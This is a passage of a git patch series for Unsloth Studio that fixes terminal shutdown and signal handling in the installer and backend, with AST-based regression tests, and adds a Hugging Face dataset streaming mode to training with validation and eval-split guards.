for more information, see https://pre-commit.ci

* Address review: keep child Ctrl+C working and restore SIGBREAK

- install.sh: run studio in a subshell that resets INT to default
  (trap - INT; exec ...) so the foreground child does not inherit the
  installer shell's ignored SIGINT, which would otherwise swallow the
  studio process's own Ctrl+C and graceful shutdown.
- run.py: also restore SIGBREAK to SIG_DFL in the signal handler so a
  second Ctrl+Break force-quits on Windows, matching SIGINT/SIGTERM.

* install.sh: capture studio exit with || under set -e so the migration hint still prints

* Trim shutdown-fix comments to be terser (comments only, no code change)

* Dedup CLI shutdown-wait into finally blocks (review follow-up)

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 install.sh                                |  13 ++-
 studio/backend/run.py                     |  37 +++++-
 tests/test_studio_shutdown_thread_wait.py | 133 ++++++++++++++++++++++
 unsloth_cli/commands/studio.py            |   5 +
 4 files changed, 183 insertions(+), 5 deletions(-)
 create mode 100644 tests/test_studio_shutdown_thread_wait.py

diff --git a/install.sh b/install.sh
index 7a3c490368..7a2e18e374 100755
--- a/install.sh
+++ b/install.sh
@@ -3126,10 +3126,11 @@ echo ""
 if [ -t 1 ]; then
     echo ""
     printf "  Start Unsloth Studio now? [Y/n] "
+    # No readable answer (closed/EOF tty) defaults to no; Enter is still yes.
     if [ -r /dev/tty ]; then
-        read -r _reply </dev/tty || _reply="y"
+        read -r _reply </dev/tty || _reply="n"
     else
-        _reply="y"
+        _reply="n"
     fi
     case "${_reply:-y}" in
         [Yy]*|"")
@@ -3137,8 +3138,12 @@ if [ -t 1 ]; then
             # Detach stdin from the `curl | sh` pipe: as a foreground server the
             # studio would otherwise drain the rest of this piped script, leaving
             # the shell to die parsing the now-truncated tail (`unexpected fi`).
-            "$VENV_DIR/bin/unsloth" studio -p 8888 </dev/null
-            _LAUNCH_EXIT=$?
+            # trap '' INT: wait for studio's shutdown instead of racing the prompt.
+            # Subshell resets INT so the child still gets Ctrl+C (no inherited ignore).
+            trap '' INT
+            # `|| ...`: capture the exit code without set -e aborting first.
+            _LAUNCH_EXIT=0
+            (trap - INT; exec "$VENV_DIR/bin/unsloth" studio -p 8888 </dev/null) || _LAUNCH_EXIT=$?
             if [ "$_LAUNCH_EXIT" -ne 0 ] && [ "$_MIGRATED" = true ]; then
                 echo ""
                 echo "⚠️  Unsloth Studio failed to start after migration."
diff --git a/studio/backend/run.py b/studio/backend/run.py
index 7c4d52d3a9..709efc2098 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -677,9 +677,37 @@ def _graceful_shutdown(server = None):
     logger.info("All subprocesses cleaned up")
 
 
+# Bound the join so a stuck uvicorn shutdown cannot hang the terminal.
+_SERVER_SHUTDOWN_JOIN_TIMEOUT = 5.0
+
+
+def _flush_standard_streams() -> None:
+    for stream in (sys.stdout, sys.stderr):
+        try:
+            stream.flush()
+        except Exception:
+            pass
+
+
+def _wait_for_server_shutdown(timeout: Optional[float] = _SERVER_SHUTDOWN_JOIN_TIMEOUT) -> None:
+    """Join the uvicorn thread so the prompt returns only after its shutdown logs
+    flush. Skip the self-join when called from the server thread."""
+    import threading
+
+    thread = _server_thread
+    if thread is None or thread is threading.current_thread():
+        _flush_standard_streams()
+        return
+    thread.join(timeout = timeout)
+    if thread.is_alive():
+        logger.warning("Timed out waiting for uvicorn server thread to stop")
+    _flush_standard_streams()
+
+
 # The uvicorn server instance -- set by run_server(), used by callers
 # that tell the server to exit (e.g. signal handlers).
 _server = None
+_server_thread = None
 
 # Shutdown event -- wakes the main loop on signal.
 _shutdown_event = None
@@ -909,7 +937,7 @@ def run_server(
         Signal handlers are NOT registered here so embedders (e.g. Colab) keep
         their own interrupt semantics; standalone callers register them after.
     """
-    global _server, _shutdown_event
+    global _server, _server_thread, _shutdown_event
 
     # Reap every child if the parent dies abnormally (terminal close, Task
     # Manager kill, SIGKILL); must run before any child can spawn.
@@ -1102,6 +1130,7 @@ def run_server(
                 startup_failed.set()
 
     thread = Thread(target = _run, daemon = True)
+    _server_thread = thread
     thread.start()
 
     # Wait until uvicorn finishes lifespan startup and binds sockets, or until it
@@ -1310,6 +1339,11 @@ if __name__ == "__main__":
 
     # Signal handler -- ensures subprocess cleanup on Ctrl+C.
     def _signal_handler(signum, frame):
+        # Restore defaults so a second signal force-quits if shutdown stalls.
+        signal.signal(signal.SIGINT, signal.SIG_DFL)
+        signal.signal(signal.SIGTERM, signal.SIG_DFL)
+        if hasattr(signal, "SIGBREAK"):
+            signal.signal(signal.SIGBREAK, signal.SIG_DFL)
         _graceful_shutdown(_server)
         _shutdown_event.set()
 
@@ -1325,3 +1359,4 @@ if __name__ == "__main__":
     # lets the interpreter process pending signals.
     while not _shutdown_event.is_set():
         _shutdown_event.wait(timeout = 1)
+    _wait_for_server_shutdown()
diff --git a/tests/test_studio_shutdown_thread_wait.py b/tests/test_studio_shutdown_thread_wait.py
new file mode 100644
index 0000000000..4ec2afc0f0
--- /dev/null
+++ b/tests/test_studio_shutdown_thread_wait.py
@@ -0,0 +1,133 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Source-level regression tests for terminal shutdown ordering (no backend import)."""
+
+import ast
+from pathlib import Path
+
+_ROOT = Path(__file__).resolve().parent.parent
+_RUN_PY = _ROOT / "studio" / "backend" / "run.py"
+_STUDIO_CLI_PY = _ROOT / "unsloth_cli" / "commands" / "studio.py"
+
+
+def _parse(path: Path) -> ast.Module:
+    return ast.parse(path.read_text(encoding = "utf-8"))
+
+
+def _function(tree: ast.AST, name: str) -> ast.FunctionDef:
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"missing function {name}")
+
+
+def _calls_name(tree: ast.AST, name: str) -> int:
+    return sum(
+        1
+        for node in ast.walk(tree)
+        if isinstance(node, ast.Call) and isinstance(node.func, ast.Name) and node.func.id == name
+    )
+
+
+def _calls_shutdown_wait_getattr(tree: ast.AST) -> int:
+    count = 0
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Call):
+            continue
+        func = node.func
+        if not isinstance(func, ast.Call):
+            continue
+        if not (isinstance(func.func, ast.Name) and func.func.id == "getattr"):
+            continue
+        if len(func.args) < 2:
+            continue
+        target, attr = func.args[:2]
+        if (
+            isinstance(target, ast.Name)
+            and target.id == "run_mod"
+            and isinstance(attr, ast.Constant)
+            and attr.value == "_wait_for_server_shutdown"
+        ):
+            count += 1
+    return count
+
+
+def test_run_server_records_uvicorn_thread_for_terminal_shutdown_wait():
+    tree = _parse(_RUN_PY)
+    run_server = _function(tree, "run_server")
+
+    assigns_thread_global = any(
+        isinstance(node, ast.Assign)
+        and any(
+            isinstance(target, ast.Name) and target.id == "_server_thread"
+            for target in node.targets
+        )
+        for node in ast.walk(run_server)
+    )
+
+    assert (
+        assigns_thread_global
+    ), "run_server must retain the uvicorn thread so terminal shutdown can join it"
+
+
+def test_wait_for_server_shutdown_joins_uvicorn_thread():
+    tree = _parse(_RUN_PY)
+    wait_func = _function(tree, "_wait_for_server_shutdown")
+
+    joins_thread = any(
+        isinstance(node, ast.Call)
+        and isinstance(node.func, ast.Attribute)
+        and node.func.attr == "join"
+        for node in ast.walk(wait_func)
+    )
+
+    assert (
+        joins_thread
+    ), "_wait_for_server_shutdown must join the uvicorn thread before process exit"
+
+
+def test_wait_for_server_shutdown_join_is_bounded():
+    tree = _parse(_RUN_PY)
+    wait_func = _function(tree, "_wait_for_server_shutdown")
+
+    bounded_join = any(
+        isinstance(node, ast.Call)
+        and isinstance(node.func, ast.Attribute)
+        and node.func.attr == "join"
+        and any(kw.arg == "timeout" for kw in node.keywords)
+        for node in ast.walk(wait_func)
+    )
+
+    assert (
+        bounded_join
+    ), "the join must pass a timeout so a stalled uvicorn shutdown cannot hang the terminal"
+
+
+def test_direct_backend_entrypoint_waits_before_returning_to_shell():
+    tree = _parse(_RUN_PY)
+
+    assert (
+        _calls_name(tree, "_wait_for_server_shutdown") >= 1
+    ), "run.py must wait after the main shutdown event loop before returning to the shell"
+
+
+def test_signal_handler_restores_default_handlers_for_force_quit():
+    tree = _parse(_RUN_PY)
+    handler = _function(tree, "_signal_handler")
+
+    restores_default = any(
+        isinstance(node, ast.Attribute) and node.attr == "SIG_DFL" for node in ast.walk(handler)
+    )
+
+    assert (
+        restores_default
+    ), "the signal handler must restore SIG_DFL so a second Ctrl+C can force-quit"
+
+
+def test_cli_entrypoints_wait_before_returning_to_shell():
+    tree = _parse(_STUDIO_CLI_PY)
+
+    assert (
+        _calls_shutdown_wait_getattr(tree) >= 3
+    ), "Studio CLI terminal paths must wait for the backend thread after requesting shutdown"
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 6ce6c5ea47..cde3d2cdbc 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -895,6 +895,8 @@ def studio_default(
     except KeyboardInterrupt:
         run_mod._graceful_shutdown(run_mod._server)
         typer.echo("\nShutting down...")
+    finally:
+        getattr(run_mod, "_wait_for_server_shutdown", lambda: None)()
 
 
 # ── unsloth studio run ───────────────────────────────────────────────
@@ -1304,6 +1306,7 @@ def run(
             raise typer.Exit(1)
     except BaseException:
         _graceful_shutdown(_server)
+        getattr(run_mod, "_wait_for_server_shutdown", lambda: None)()
         raise
 
     loaded_model = result.get("model", model)
@@ -1410,6 +1413,8 @@ def run(
     except KeyboardInterrupt:
         run_mod._graceful_shutdown(run_mod._server)
         typer.echo("\nShutting down...")
+    finally:
+        getattr(run_mod, "_wait_for_server_shutdown", lambda: None)()
 
 
 # ── unsloth studio stop ───────────────────────────────────────────────

From 1fc8bf53c763598c0354fd6e1b81365c32c5b2f9 Mon Sep 17 00:00:00 2001
From: Sanat Bhargava <sanatbhargava18@gmail.com>
Date: Mon, 22 Jun 2026 20:18:18 +0530
Subject: [PATCH 033/306] Add Hugging Face dataset streaming mode to Studio
 (#4946)

* Add HF dataset streaming mode to Studio

* Added default value for datasetStreaming in training-config-store.ts

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Handle None max_steps for streaming validation

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fast-fail streaming validation and guard incompatible modes

Reject dataset_streaming at the API boundary when hf_dataset is empty,
the dataset is vision/audio, or max_steps is not set. Probe eval split
with get_dataset_split_names before the streaming load so typos fail
immediately instead of mid-training. Guard column_names=None after map
on iterables. Hide the UI toggle for non-text configurations and clear
the stale flag when config becomes incompatible.

* studio: add streaming dataset tests, iterable helper, and streaming template/format support (WIP)

Work-in-progress on top of feat/studio-dataset-streaming-mode (PR #4946):
- new test_training_streaming.py and iterable.py dataset helper
- streaming support in chat_templates.py and format_conversion.py
- additional streaming guards in trainer.py / models / routes
- frontend streaming wiring in params-section and training-config-store

Committed to preserve uncommitted work before merging latest main.

* studio: fix review-team findings for streaming + main merge

BLOCKER: streaming + raw-text/CPT crashed on len(IterableDataset). Guard it in the
start route (reject format_type=="raw" or training_type=="Continued Pretraining")
and in isStreamingSupported (datasetFormat !== "raw").

Also:
- models/training.py: validate hf_dataset/subset/split (charset+length, block ..//);
  cap dataset slice indices (le=1e9); note validator ordering
- chat_templates.py: guard _apply_custom_mapping .map() for streaming
- trainer.py: warn when packing+streaming
- training-config-store.ts: persist-migration bump to v11 (standalone datasetStreaming
  backfill); add isVisionModel to NON_PERSISTED; toast on silent streamingCompatiblePatch
  mutations in the 4 indirect setters
- tests: route rejections (max_steps, raw/cpt), slice cap, unsafe hf_dataset

* studio: enable raw-text/CPT dataset streaming + streaming UX polish

- raw_text: keep the lazy filter but skip len()-based row counting for
  IterableDatasets so raw-text / CPT can stream; guard the eval-size log
- routes/trainer: drop the raw/CPT streaming block; add a defensive
  not-streaming guard on the eval auto-split (train_test_split)
- dataset-section: streaming toggle is visible-but-disabled and lists the
  exact unmet requirement(s) in its tooltip; block embedding models
- training-start-overlay: show "streaming (no full download)" instead of a
  stuck download bar for streaming runs
- trim the streaming test suite to the high-value cases

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: address streaming review (MLX/embedding guards, sliced eval split, rehydrate timing)

- routes: reject dataset_streaming for embedding training and on Apple Silicon
  (MLX); both loaders materialize the full dataset instead of streaming
- trainer: validate the base eval split name so streaming eval accepts HF slice
  syntax such as "validation[:1000]"
- training-config-store: defer the onRehydrateStorage setState to a microtask so
  it doesn't hit the store's TDZ during synchronous hydration
- test: streaming start rejects embedding models

* studio: harden HF dataset streaming (column_names, split slicing, empty/eval bounds, gating)

Address a deeper streaming review:
- raw_text: resolve_column_names() guards IterableDataset.column_names=None
  (from_generator / unresolved features) so raw-text and CPT streaming no longer
  raise TypeError before training
- models/routes: reject HF slice syntax in train_split/eval_split when streaming
  (load_dataset(streaming=True) raises "Bad split"); reject mixed sources
  (local/S3) and embedding/MLX streaming at the API, not just in the UI
- trainer: an empty post-slice/filter stream fails preflight with a clear message;
  streaming eval is capped (STREAMING_EVAL_MAX_SAMPLES) so each eval terminates;
  the manual-slice shortcut falls back to a regular load when train_split is sliced
- format_conversion: streaming conversions preflight the first mapped row so
  format errors surface before training, not mid-iteration
- frontend: block streaming on Apple Silicon; clear datasetStreaming when a
  dataset is detected as image/audio at start

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fix CI for streaming PR (lint blocker + no-torch sandbox + preflight test)

- trainer.py: drop unused `IterableDataset` import (hoist safety-net blocker).
- test_training_streaming.py: only select real classes (isinstance type) when
  locating the trainer class, so a MagicMock-stubbed global is never passed to
  object.__new__ (fixes TypeError on the Python 3.10-3.13 jobs).
- no-torch import sandboxes (test_e2e_no_torch_sandbox.py,
  test_studio_import_no_torch.py): teach the chat_templates/format_conversion
  exec stubs and the full-import-chain copy list about the new `.iterable`
  module so the AFTER/runtime cases import without torch again.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Roland Tannous <115670425+rolandtannous@users.noreply.github.com>
Co-authored-by: Roland Tannous <rolandtannous@gravityq.ai>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py       | 412 ++++++++-----
 studio/backend/core/training/training.py      |   1 +
 studio/backend/core/training/worker.py        |   1 +
 studio/backend/models/training.py             | 100 +++-
 studio/backend/routes/training.py             |  63 ++
 .../backend/tests/test_training_streaming.py  | 560 ++++++++++++++++++
 .../backend/utils/datasets/chat_templates.py  |  27 +-
 .../backend/utils/datasets/dataset_utils.py   |   5 +-
 .../utils/datasets/format_conversion.py       |  68 ++-
 studio/backend/utils/datasets/iterable.py     |  20 +
 studio/backend/utils/datasets/raw_text.py     |  50 +-
 .../studio/sections/dataset-section.tsx       | 130 +++-
 .../studio/sections/params-section.tsx        |  13 +-
 .../studio/training-start-overlay.tsx         |  10 +-
 .../src/features/training/api/mappers.ts      |   1 +
 .../training/hooks/use-training-actions.ts    |   4 +
 .../training/stores/training-config-store.ts  | 167 +++++-
 .../src/features/training/types/api.ts        |   1 +
 .../src/features/training/types/config.ts     |   2 +
 studio/frontend/src/i18n/locales/en.ts        |   1 +
 tests/python/test_e2e_no_torch_sandbox.py     |  14 +
 tests/python/test_studio_import_no_torch.py   |  20 +
 22 files changed, 1481 insertions(+), 189 deletions(-)
 create mode 100644 studio/backend/tests/test_training_streaming.py
 create mode 100644 studio/backend/utils/datasets/iterable.py

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index bdf2a6f030..a13a75a72e 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -61,7 +61,7 @@ import structlog
 from loggers import get_logger
 import time
 from pathlib import Path
-from typing import Optional, Callable
+from typing import Any, Dict, List, Optional, Callable
 from dataclasses import dataclass
 import pandas as pd
 from datasets import Dataset
@@ -72,7 +72,8 @@ from utils.models import is_vision_model, detect_audio_type
 from utils.models.model_config import _env_offline
 from utils.datasets import format_and_template_dataset
 from utils.datasets import MODEL_TO_TEMPLATE_MAPPER, TEMPLATE_TO_RESPONSES_MAPPER
-from utils.datasets.raw_text import prepare_raw_text_dataset
+from utils.datasets.iterable import is_streaming_dataset as detect_streaming_dataset
+from utils.datasets.raw_text import prepare_raw_text_dataset, resolve_column_names
 from utils.paths import (
     ensure_dir,
     resolve_dataset_path,
@@ -88,6 +89,11 @@ from utils.subprocess_compat import (
 
 logger = get_logger(__name__)
 
+# A streaming eval dataset has no __len__, so a streaming evaluation would
+# iterate the entire (potentially unbounded) source on every eval step. Cap it
+# to a fixed sample count so each evaluation terminates predictably.
+STREAMING_EVAL_MAX_SAMPLES = 500
+
 
 def _build_report_targets(training_args) -> list[str] | str:
     report_to: list[str] = []
@@ -2224,17 +2230,18 @@ class UnslothTrainer:
 
     def load_and_format_dataset(
         self,
-        dataset_source: str,
+        dataset_source: Optional[str],
         format_type: str = "auto",
-        local_datasets: list = None,
-        local_eval_datasets: list = None,
-        custom_format_mapping: dict = None,
-        subset: str = None,
+        local_datasets: Optional[List[str]] = None,
+        local_eval_datasets: Optional[List[str]] = None,
+        custom_format_mapping: Optional[Dict[str, Any]] = None,
+        subset: Optional[str] = None,
         train_split: str = "train",
-        eval_split: str = None,
+        eval_split: Optional[str] = None,
+        dataset_streaming: bool = False,
         eval_steps: float = 0.00,
-        dataset_slice_start: int = None,
-        dataset_slice_end: int = None,
+        dataset_slice_start: Optional[int] = None,
+        dataset_slice_end: Optional[int] = None,
         is_cpt: bool = False,
         s3_config: dict = None,
     ) -> Optional[tuple]:
@@ -2342,47 +2349,89 @@ class UnslothTrainer:
                 if subset:
                     load_kwargs["name"] = subset
 
-                _slice_start = dataset_slice_start or 0
-                if (
-                    dataset_slice_end is not None
-                    and dataset_slice_end >= 0
-                    and dataset_slice_end >= _slice_start
-                ):
-                    # Manual slice — stream only needed rows, not the whole dataset.
-                    rows_to_stream = dataset_slice_end + 1
+                if dataset_streaming:
+                    self._update_progress(status_message = f"Streaming dataset: {dataset_source}...")
+                    dataset = load_dataset(**load_kwargs, streaming = True)
+
+                    # Optional iterable slicing
+                    if dataset_slice_start is not None and dataset_slice_start > 0:
+                        dataset = dataset.skip(dataset_slice_start)
+
+                    if dataset_slice_end is not None:
+                        slice_start = dataset_slice_start or 0
+                        take_count = dataset_slice_end - slice_start + 1
+                        if take_count <= 0:
+                            raise ValueError(
+                                "Train Split End must be greater than or equal to Train Split Start."
+                            )
+                        dataset = dataset.take(take_count)
+                        # IterableDataset.take(N) yields *at most* N samples — if
+                        # the source is shorter, the user silently gets fewer rows.
+                        logger.warning(
+                            f"Streaming slice requested up to {take_count} rows "
+                            f"[{slice_start}, {dataset_slice_end}]; actual yield "
+                            f"may be smaller if the dataset has fewer rows."
+                        )
+                        if take_count == 1:
+                            # start == end is a valid slice but produces a single
+                            # training row, which is almost always user error.
+                            logger.warning(
+                                "Dataset slice resolves to a single row "
+                                f"(start == end == {slice_start}); training on 1 "
+                                "sample is likely unintended."
+                            )
+
                     logger.info(
-                        f"[dataset-slice] Manual slice specified "
-                        f"(start={dataset_slice_start}, end={dataset_slice_end}), "
-                        f"streaming {rows_to_stream} rows\n"
-                    )
-                    stream = load_dataset(**load_kwargs, streaming = True)
-                    dataset = Dataset.from_list(list(stream.take(rows_to_stream)))
-                    logger.info(
-                        f"[dataset-slice] Downloaded {len(dataset)} rows "
-                        f"(requested {rows_to_stream})\n"
-                    )
-                    self._update_progress(
-                        status_message = f"Streamed {len(dataset)} rows from HuggingFace"
+                        f"Loaded Hugging Face dataset in streaming mode: {dataset_source}\n"
                     )
+                    self._update_progress(status_message = f"Streaming {dataset_source}")
                 else:
-                    self._update_progress(
-                        status_message = f"Downloading dataset: {dataset_source}..."
-                    )
-                    dataset = load_dataset(**load_kwargs)
+                    # Non-streaming: if a slice end is given, stream only the needed
+                    # rows and materialize them (avoids downloading the whole dataset);
+                    # the eager [start, end] trim happens further below.
+                    _slice_start = dataset_slice_start or 0
+                    # streaming=True rejects HF slice syntax (e.g. "train[:50%]")
+                    # with "Bad split", so the streaming shortcut is unusable when
+                    # train_split already carries a slice expression, so fall back to
+                    # the regular download path, which handles HF slice syntax.
+                    _split_has_slice = (train_split or "").find("[") != -1
+                    if (
+                        not _split_has_slice
+                        and dataset_slice_end is not None
+                        and dataset_slice_end >= 0
+                        and dataset_slice_end >= _slice_start
+                    ):
+                        rows_to_stream = dataset_slice_end + 1
+                        logger.info(
+                            f"[dataset-slice] Manual slice specified "
+                            f"(start={dataset_slice_start}, end={dataset_slice_end}), "
+                            f"streaming {rows_to_stream} rows\n"
+                        )
+                        stream = load_dataset(**load_kwargs, streaming = True)
+                        dataset = Dataset.from_list(list(stream.take(rows_to_stream)))
+                        logger.info(
+                            f"[dataset-slice] Downloaded {len(dataset)} rows "
+                            f"(requested {rows_to_stream})\n"
+                        )
+                    else:
+                        self._update_progress(
+                            status_message = f"Downloading dataset: {dataset_source}..."
+                        )
+                        dataset = load_dataset(**load_kwargs)
+
+                        n_rows = len(dataset) if hasattr(dataset, "__len__") else 0
+                        self._update_progress(
+                            status_message = f"Downloaded {dataset_source} ({n_rows:,} rows)"
+                        )
+                        logger.info(
+                            f"Loaded dataset from Hugging Face: {dataset_source} ({n_rows:,} rows)\n"
+                        )
 
                 # Check if stopped during dataset loading
                 if self.should_stop:
                     logger.info("Stopped during dataset loading\n")
                     return None
 
-                n_rows = len(dataset) if hasattr(dataset, "__len__") else 0
-                self._update_progress(
-                    status_message = f"Downloaded {dataset_source} ({n_rows:,} rows)"
-                )
-                logger.info(
-                    f"Loaded dataset from Hugging Face: {dataset_source} ({n_rows:,} rows)\n"
-                )
-
                 # Resolve eval split from a separate HF split (explicit or auto)
                 if eval_enabled:
                     effective_train = train_split or "train"
@@ -2392,17 +2441,69 @@ class UnslothTrainer:
                         eval_load_kwargs = {"path": dataset_source, "split": eval_split}
                         if subset:
                             eval_load_kwargs["name"] = subset
-                        eval_dataset = load_dataset(**eval_load_kwargs)
+
+                        if dataset_streaming:
+                            # Probe available splits before the streaming load.
+                            # load_dataset(streaming=True) returns an IterableDataset
+                            # without validating the split name — a typo would only
+                            # surface on the first eval batch mid-training.
+                            from datasets import get_dataset_split_names
+
+                            probe_kwargs = {"path": dataset_source}
+                            if subset:
+                                probe_kwargs["config_name"] = subset
+                            try:
+                                available_splits = get_dataset_split_names(**probe_kwargs)
+                            except Exception as probe_err:
+                                raise ValueError(
+                                    f"Could not list splits for '{dataset_source}' "
+                                    f"to validate eval_split='{eval_split}': {probe_err}"
+                                )
+                            # Streaming rejects HF slice syntax, and the request
+                            # validator already blocks bracketed streaming splits,
+                            # so eval_split here is always a bare split name.
+                            if eval_split not in available_splits:
+                                raise ValueError(
+                                    f"Requested eval split '{eval_split}' not found in "
+                                    f"dataset '{dataset_source}'. Available splits: "
+                                    f"{available_splits}"
+                                )
+                            eval_dataset = load_dataset(**eval_load_kwargs, streaming = True)
+                            # A streaming eval dataset has no __len__; bound it so
+                            # each evaluation terminates instead of consuming the
+                            # whole stream. .take() stays lazy and survives the
+                            # later format/raw-text .map() passes.
+                            if not hasattr(eval_dataset, "__len__"):
+                                eval_dataset = eval_dataset.take(STREAMING_EVAL_MAX_SAMPLES)
+                                logger.info(
+                                    f"Streaming eval split capped to "
+                                    f"{STREAMING_EVAL_MAX_SAMPLES} samples\n"
+                                )
+                        else:
+                            eval_dataset = load_dataset(**eval_load_kwargs)
+
                         has_separate_eval_source = True
-                        logger.info(
-                            f"Loaded eval split '{eval_split}' with {len(eval_dataset)} rows\n"
-                        )
+                        if hasattr(eval_dataset, "__len__"):
+                            logger.info(
+                                f"Loaded eval split '{eval_split}' with {len(eval_dataset)} rows\n"
+                            )
+                        else:
+                            logger.info(f"Loaded eval split '{eval_split}' in streaming mode\n")
                     elif eval_split and eval_split == effective_train:
+                        if dataset_streaming:
+                            raise ValueError(
+                                "Streaming mode does not support using the same split for both train and eval. "
+                                "Please provide a separate eval split or set eval_steps to 0."
+                            )
                         # Same split as training — split 80/20 after formatting
                         logger.info(
                             f"Eval split '{eval_split}' is the same as train split — will split 80/20\n"
                         )
                     else:
+                        if dataset_streaming:
+                            raise ValueError(
+                                "Streaming mode currently requires an explicit eval split when evaluation is enabled."
+                            )
                         # Auto-detect eval split from HF (separate dataset or None)
                         eval_dataset = self._auto_detect_eval_split_from_hf(
                             dataset_source = dataset_source,
@@ -2416,8 +2517,12 @@ class UnslothTrainer:
             if dataset is None:
                 raise ValueError("No dataset provided")
 
-            # Apply index range slicing if requested (inclusive both ends)
-            if dataset_slice_start is not None or dataset_slice_end is not None:
+            # Apply eager-only index range slicing if requested (inclusive on both ends).
+            # Streaming already sliced lazily via skip()/take() above; the non-streaming
+            # manual-slice path fetched up to end+1 rows and is trimmed to [start, end] here.
+            if (not dataset_streaming) and (
+                dataset_slice_start is not None or dataset_slice_end is not None
+            ):
                 total_rows = len(dataset)
                 start = dataset_slice_start if dataset_slice_start is not None else 0
                 end = dataset_slice_end if dataset_slice_end is not None else total_rows - 1
@@ -2480,11 +2585,19 @@ class UnslothTrainer:
                 }
 
                 if has_separate_eval_source and eval_dataset is not None:
+                    eval_rows = (
+                        f"{len(eval_dataset):,} rows"
+                        if hasattr(eval_dataset, "__len__")
+                        else "streaming"
+                    )
                     logger.info(
                         f"{_raw_mode_label().capitalize()}: eval dataset "
-                        f"({len(eval_dataset)} rows) kept as raw text\n"
+                        f"({eval_rows}) kept as raw text\n"
                     )
-                elif eval_enabled and not has_separate_eval_source:
+                elif eval_enabled and not has_separate_eval_source and not dataset_streaming:
+                    # _resolve_eval_split_from_dataset does a train_test_split (needs
+                    # len/random access). Streaming always provides a separate eval
+                    # split (route-enforced), so this auto-split is non-streaming only.
                     split_result = self._resolve_eval_split_from_dataset(dataset)
                     if split_result is not None:
                         train_portion, eval_dataset = split_result
@@ -2498,10 +2611,12 @@ class UnslothTrainer:
                 )
                 logger.info(f"Raw-text dataset ready ({n_display} samples)\n")
 
-                if "text" not in train_dataset.column_names:
-                    raise ValueError(
-                        f"Raw-text dataset missing 'text' column: {train_dataset.column_names}"
-                    )
+                # Streaming datasets can report column_names as None, which would
+                # make "text" not in None raise TypeError; resolve_column_names
+                # falls back to features/first-row probing.
+                train_columns = resolve_column_names(train_dataset)
+                if "text" not in train_columns:
+                    raise ValueError(f"Raw-text dataset missing 'text' column: {train_columns}")
                 return (dataset_info, eval_dataset)
 
             elif self.is_audio_vlm:
@@ -2540,13 +2655,16 @@ class UnslothTrainer:
             final_n = len(final_ds) if hasattr(final_ds, "__len__") else "?"
             self._update_progress(
                 status_message = f"Dataset ready ({final_n:,} samples, {detected} format)"
+                if isinstance(final_n, int)
+                else f"Dataset ready ({final_n} samples, {detected} format)"
             )
             logger.info(f"Dataset formatted successfully ({final_n} samples, {detected})\n")
 
             # ========== THEN SPLIT ==========
             if has_separate_eval_source and eval_dataset is not None:
                 # Eval came from a separate HF split — format it too
-                logger.info(f"Formatting eval dataset ({len(eval_dataset)} rows)...\n")
+                eval_n = len(eval_dataset) if hasattr(eval_dataset, "__len__") else "?"
+                logger.info(f"Formatting eval dataset ({eval_n} rows)...\n")
                 eval_info = format_and_template_dataset(
                     eval_dataset,
                     model_name = self.model_name,
@@ -2557,8 +2675,8 @@ class UnslothTrainer:
                     custom_format_mapping = custom_format_mapping,
                 )
                 eval_dataset = eval_info["dataset"]
-                logger.info(f"Eval dataset formatted successfully\n")
-            elif eval_enabled and not has_separate_eval_source:
+                logger.info("Eval dataset formatted successfully\n")
+            elif eval_enabled and not has_separate_eval_source and not dataset_streaming:
                 # No separate eval source — split the already-formatted dataset
                 formatted_dataset = dataset_info["dataset"]
                 split_result = self._resolve_eval_split_from_dataset(formatted_dataset)
@@ -2759,7 +2877,11 @@ class UnslothTrainer:
             loader = self.trainer.get_train_dataloader()
             batch = next(iter(loader))
         except StopIteration:
-            return None
+            return (
+                "Cannot start training: the dataset produced no training rows. "
+                "This usually means a split/slice or streaming filter removed every "
+                "row. Check your train split, slice range, and dataset filters."
+            )
         except Exception as e:
             model = self.model_name or "this model"
             return (
@@ -2799,8 +2921,15 @@ class UnslothTrainer:
             f"columns are mapped correctly for '{model}'."
         )
 
-    def _train_worker(self, dataset: Dataset, **training_args):
-        """Worker function for training (runs in separate thread)"""
+    def _train_worker(self, dataset: Dataset | dict, **training_args):
+        """Worker function for training (runs in separate thread).
+
+        ``dataset`` is either a raw ``datasets.Dataset`` (audio preprocessing
+        paths such as CSM / Whisper / SNAC / Audio-VLM) or a ``dict`` wrapper
+        returned by ``format_and_template_dataset`` (text and image VLM paths).
+        Streaming HF datasets arrive wrapped in the latter ``dict`` — they are
+        never passed as a bare ``IterableDataset``.
+        """
         try:
             # On spawn platforms, register compiled-cache dirs on sys.path/PYTHONPATH
             # before any dataset.map() so spawned workers can import compiled
@@ -3129,7 +3258,7 @@ class UnslothTrainer:
             else:
                 # Default if neither provided
                 config_args["warmup_steps"] = 5
-                logger.info(f"Using default warmup_steps: 5\n")
+                logger.info("Using default warmup_steps: 5\n")
 
             # Add save_steps if specified
             save_steps_val = training_args.get("save_steps", 0)
@@ -3137,7 +3266,7 @@ class UnslothTrainer:
                 config_args["save_steps"] = save_steps_val
                 config_args["save_strategy"] = "steps"
 
-            #  If max_steps is specified, use it instead of epochs
+            # If max_steps is specified, use it instead of epochs
             max_steps_val = training_args.get("max_steps", 0)
             if max_steps_val and max_steps_val > 0:
